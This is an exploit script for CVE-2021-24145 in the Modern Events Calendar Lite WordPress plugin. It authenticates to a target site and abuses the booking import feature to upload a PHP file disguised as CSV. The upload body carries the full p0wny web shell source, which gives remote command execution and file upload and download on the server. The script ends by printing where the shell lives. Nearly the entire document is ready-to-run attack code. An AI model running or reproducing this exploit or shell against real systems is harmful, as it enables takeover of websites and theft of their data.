# Exploit Title: WordPress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24145
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24145/README.md
'''
Description:
Arbitrary file upload in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5,
did not properly check the imported file, allowing PHP ones to be uploaded by administrator by using the 'text/csv'
content-type in the request.
'''
'''
Banner:
'''
banner = """
______ _______ ____ ___ ___________ _ ______
/ ___\ \ / / ____| |___ \ / _ \___ \/ ||___ \| || | / | || || ___|
| |\ \ / /|_| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___\ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |__ _|__) |
\____|\_/|_____| |_____|\___/_____|_||_____||_| |_||_||____/
* WordPress Plugin Modern Events Calendar Lite RCE
* @Hacker5preme
"""
print(banner)
'''
Import required modules:
'''
import requests
import argparse
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calenar Lite RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
print('[+] Authentication successfull !')
else:
print('[-] Authentication failed !')
exit()
'''
Exploit:
'''
exploit_url = "http://" + target_ip + ':' + target_port + wp_path + "wp-admin/admin.php?page=MEC-ix&tab=MEC-import"
# Exploit Header:
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------29650037893637916779865254589",
"Origin": "http://" + target_ip,
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
# Exploit Body: (using p0wny shell: https://github.com/flozz/p0wny-shell
body = "-----------------------------29650037893637916779865254589\r\nContent-Disposition: form-data; name=\"feed\"; filename=\"shell.php\"\r\nContent-Type: text/csv\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n$stdout = array();\n\nif (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n// pass\n} elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nchdir($match[1]);\n} elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nreturn featureDownload($match[1]);\n} else {\nchdir($cwd);\nexec($cmd, $stdout);\n}\n\nreturn array(\n\"stdout\" => $stdout,\n\"cwd\" => getcwd()\n);\n}\n\nfunction featurePwd() {\nreturn array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\nchdir($cwd);\nif ($type == 'cmd') {\n$cmd = \"compgen -c $fileName\";\n} else {\n$cmd = \"compgen -f $fileName\";\n}\n$cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n$files = explode(\"\\n\", shell_exec($cmd));\nreturn array(\n'files' => $files,\n);\n}\n\nfunction featureDownload($filePath) {\n$file = @file_get_contents($filePath);\nif ($file === FALSE) {\nreturn array(\n'stdout' => array('File not found / no read permission.'),\n'cwd' => getcwd()\n);\n} else {\nreturn array(\n'name' => basename($filePath),\n'file' => base64_encode($file)\n);\n}\n}\n\nfunction featureUpload($path, $file, $cwd) {\nchdir($cwd);\n$f = @fopen($path, 'wb');\nif ($f === FALSE) {\nreturn array(\n'stdout' => array('Invalid path / no write permission.'),\n'cwd' => getcwd()\n);\n} else {\nfwrite($f, base64_decode($file));\nfclose($f);\nreturn array(\n'stdout' => array('Done.'),\n'cwd' => getcwd()\n);\n}\n}\n\nif (isset($_GET[\"feature\"])) {\n\n$response = NULL;\n\nswitch ($_GET[\"feature\"]) {\ncase \"shell\":\n$cmd = $_POST['cmd'];\nif (!preg_match('/2>/', $cmd)) {\n$cmd .= ' 2>&1';\n}\n$response = featureShell($cmd, $_POST[\"cwd\"]);\nbreak;\ncase \"pwd\":\n$response = featurePwd();\nbreak;\ncase \"hint\":\n$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\nbreak;\ncase 'upload':\n$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n}\n\nheader(\"Content-Type: application/json\");\necho json_encode($response);\ndie();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n<head>\n<meta charset=\"UTF-8\" />\n<title>p0wny@shell:~#</title>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<style>\nhtml, body {\nmargin: 0;\npadding: 0;\nbackground: #333;\ncolor: #eee;\nfont-family: monospace;\n}\n\n*::-webkit-scrollbar-track {\nborder-radius: 8px;\nbackground-color: #353535;\n}\n\n*::-webkit-scrollbar {\nwidth: 8px;\nheight: 8px;\n}\n\n*::-webkit-scrollbar-thumb {\nborder-radius: 8px;\n-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\nbackground-color: #bcbcbc;\n}\n\n#shell {\nbackground: #222;\nmax-width: 800px;\nmargin: 50px auto 0 auto;\nbox-shadow: 0 0 5px rgba(0, 0, 0, .3);\nfont-size: 10pt;\ndisplay: flex;\nflex-direction: column;\nalign-items: stretch;\n}\n\n#shell-content {\nheight: 500px;\noverflow: auto;\npadding: 5px;\nwhite-space: pre-wrap;\nflex-grow: 1;\n}\n\n#shell-logo {\nfont-weight: bold;\ncolor: #FF4180;\ntext-align: center;\n}\n\n@media (max-width: 991px) {\n#shell-logo {\nfont-size: 6px;\nmargin: -25px 0;\n}\n\nhtml, body, #shell {\nheight: 100%;\nwidth: 100%;\nmax-width: none;\n}\n\n#shell {\nmargin-top: 0;\n}\n}\n\n@media (max-width: 767px) {\n#shell-input {\nflex-direction: column;\n}\n}\n\n@media (max-width: 320px) {\n#shell-logo {\nfont-size: 5px;\n}\n}\n\n.shell-prompt {\nfont-weight: bold;\ncolor: #75DF0B;\n}\n\n.shell-prompt > span {\ncolor: #1BC9E7;\n}\n\n#shell-input {\ndisplay: flex;\nbox-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\nborder-top: rgba(255, 255, 255, .05) solid 1px;\n}\n\n#shell-input > label {\nflex-grow: 0;\ndisplay: block;\npadding: 0 5px;\nheight: 30px;\nline-height: 30px;\n}\n\n#shell-input #shell-cmd {\nheight: 30px;\nline-height: 30px;\nborder: none;\nbackground: transparent;\ncolor: #eee;\nfont-family: monospace;\nfont-size: 10pt;\nwidth: 100%;\nalign-self: center;\n}\n\n#shell-input div {\nflex-grow: 1;\nalign-items: stretch;\n}\n\n#shell-input input {\noutline: none;\n}\n</style>\n\n<script>\nvar CWD = null;\nvar commandHistory = [];\nvar historyPosition = 0;\nvar eShellCmdInput = null;\nvar eShellContent = null;\n\nfunction _insertCommand(command) {\neShellContent.innerHTML += \"\\n\\n\";\neShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\neShellContent.innerHTML += escapeHtml(command);\neShellContent.innerHTML += \"\\n\";\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _insertStdout(stdout) {\neShellContent.innerHTML += escapeHtml(stdout);\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _defer(callback) {\nsetTimeout(callback, 0);\n}\n\nfunction featureShell(command) {\n\n_insertCommand(command);\nif (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\nfeatureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n} else if (/^\\s*clear\\s*$/.test(command)) {\n// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\neShellContent.innerHTML = '';\n} else {\nmakeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\nif (response.hasOwnProperty('file')) {\nfeatureDownload(response.name, response.file)\n} else {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n}\n});\n}\n}\n\nfunction featureHint() {\nif (eShellCmdInput.value.trim().length === 0) return;// field is empty -> nothing to complete\n\nfunction _requestCallback(data) {\nif (data.files.length <= 1) return;// no completion\n\nif (data.files.length === 2) {\nif (type === 'cmd') {\neShellCmdInput.value = data.files[0];\n} else {\nvar currentValue = eShellCmdInput.value;\neShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n}\n} else {\n_insertCommand(eShellCmdInput.value);\n_insertStdout(data.files.join(\"\\n\"));\n}\n}\n\nvar currentCmd = eShellCmdInput.value.split(\" \");\nvar type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\nvar fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\nmakeRequest(\n\"?feature=hint\",\n{\nfilename: fileName,\ncwd: CWD,\ntype: type\n},\n_requestCallback\n);\n\n}\n\nfunction featureDownload(name, file) {\nvar element = document.createElement('a');\nelement.setAttribute('href', 'data:application/octet-stream;base64,' + file);\nelement.setAttribute('download', name);\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.click();\ndocument.body.removeChild(element);\n_insertStdout('Done.');\n}\n\nfunction featureUpload(path) {\nvar element = document.createElement('input');\nelement.setAttribute('type', 'file');\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.addEventListener('change', function () {\nvar promise = getBase64(element.files[0]);\npromise.then(function (file) {\nmakeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n});\n}, function () {\n_insertStdout('An unknown client-side error occurred.');\n});\n});\nelement.click();\ndocument.body.removeChild(element);\n}\n\nfunction getBase64(file, onLoadCallback) {\nreturn new Promise(function(resolve, reject) {\nvar reader = new FileReader();\nreader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\nreader.onerror = reject;\nreader.readAsDataURL(file);\n});\n}\n\nfunction genPrompt(cwd) {\ncwd = cwd || \"~\";\nvar shortCwd = cwd;\nif (cwd.split(\"/\").length > 3) {\nvar splittedCwd = cwd.split(\"/\");\nshortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n}\nreturn \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n}\n\nfunction updateCwd(cwd) {\nif (cwd) {\nCWD = cwd;\n_updatePrompt();\nreturn;\n}\nmakeRequest(\"?feature=pwd\", {}, function(response) {\nCWD = response.cwd;\n_updatePrompt();\n});\n\n}\n\nfunction escapeHtml(string) {\nreturn string\n.replace(/&/g, \"&\")\n.replace(/</g, \"<\")\n.replace(/>/g, \">\");\n}\n\nfunction _updatePrompt() {\nvar eShellPrompt = document.getElementById(\"shell-prompt\");\neShellPrompt.innerHTML = genPrompt(CWD);\n}\n\nfunction _onShellCmdKeyDown(event) {\nswitch (event.key) {\ncase \"Enter\":\nfeatureShell(eShellCmdInput.value);\ninsertToHistory(eShellCmdInput.value);\neShellCmdInput.value = \"\";\nbreak;\ncase \"ArrowUp\":\nif (historyPosition > 0) {\nhistoryPosition--;\neShellCmdInput.blur();\neShellCmdInput.value = commandHistory[historyPosition];\n_defer(function() {\neShellCmdInput.focus();\n});\n}\nbreak;\ncase \"ArrowDown\":\nif (historyPosition >= commandHistory.length) {\nbreak;\n}\nhistoryPosition++;\nif (historyPosition === commandHistory.length) {\neShellCmdInput.value = \"\";\n} else {\neShellCmdInput.blur();\neShellCmdInput.focus();\neShellCmdInput.value = commandHistory[historyPosition];\n}\nbreak;\ncase 'Tab':\nevent.preventDefault();\nfeatureHint();\nbreak;\n}\n}\n\nfunction insertToHistory(cmd) {\ncommandHistory.push(cmd);\nhistoryPosition = commandHistory.length;\n}\n\nfunction makeRequest(url, params, callback) {\nfunction getQueryString() {\nvar a = [];\nfor (var key in params) {\nif (params.hasOwnProperty(key)) {\na.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n}\n}\nreturn a.join(\"&\");\n}\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", url, true);\nxhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\nxhr.onreadystatechange = function() {\nif (xhr.readyState === 4 && xhr.status === 200) {\ntry {\nvar responseJson = JSON.parse(xhr.responseText);\ncallback(responseJson);\n} catch (error) {\nalert(\"Error while parsing response: \" + error);\n}\n}\n};\nxhr.send(getQueryString());\n}\n\ndocument.onclick = function(event) {\nevent = event || window.event;\nvar selection = window.getSelection();\nvar target = event.target || event.srcElement;\n\nif (target.tagName === \"SELECT\") {\nreturn;\n}\n\nif (!selection.toString()) {\neShellCmdInput.focus();\n}\n};\n\nwindow.onload = function() {\neShellCmdInput = document.getElementById(\"shell-cmd\");\neShellContent = document.getElementById(\"shell-content\");\nupdateCwd();\neShellCmdInput.focus();\n};\n</script>\n</head>\n\n<body>\n<div id=\"shell\">\n<pre id=\"shell-content\">\n<div id=\"shell-logo\">\n___ ______ ___ <span></span>\n _ __/ _ \\_____ ___ _/ __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_.._|<span></span>\n| |_) | |_| |\\ VV /| | | | |_| | | (_| \\__ \\ | | |__/ | |_ |__|<span></span>\n| .__/ \\___/\\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)|_||_|<span></span>\n|_| |___/\\____/<span></span>\n</div>\n</pre>\n<div id=\"shell-input\">\n<label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n<div>\n<input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n</div>\n</div>\n</div>\n</body>\n\n</html>\n\r\n-----------------------------29650037893637916779865254589\r\nContent-Disposition: form-data; name=\"mec-ix-action\"\r\n\r\nimport-start-bookings\r\n-----------------------------29650037893637916779865254589--\r\n"
# Exploit
session.post(exploit_url, headers=header, data=body)
print('')
print('[+] Shell Uploaded to: ' + 'http://' + target_ip + ':' + target_port + wp_path + '/wp-content/uploads/shell.php')
print('')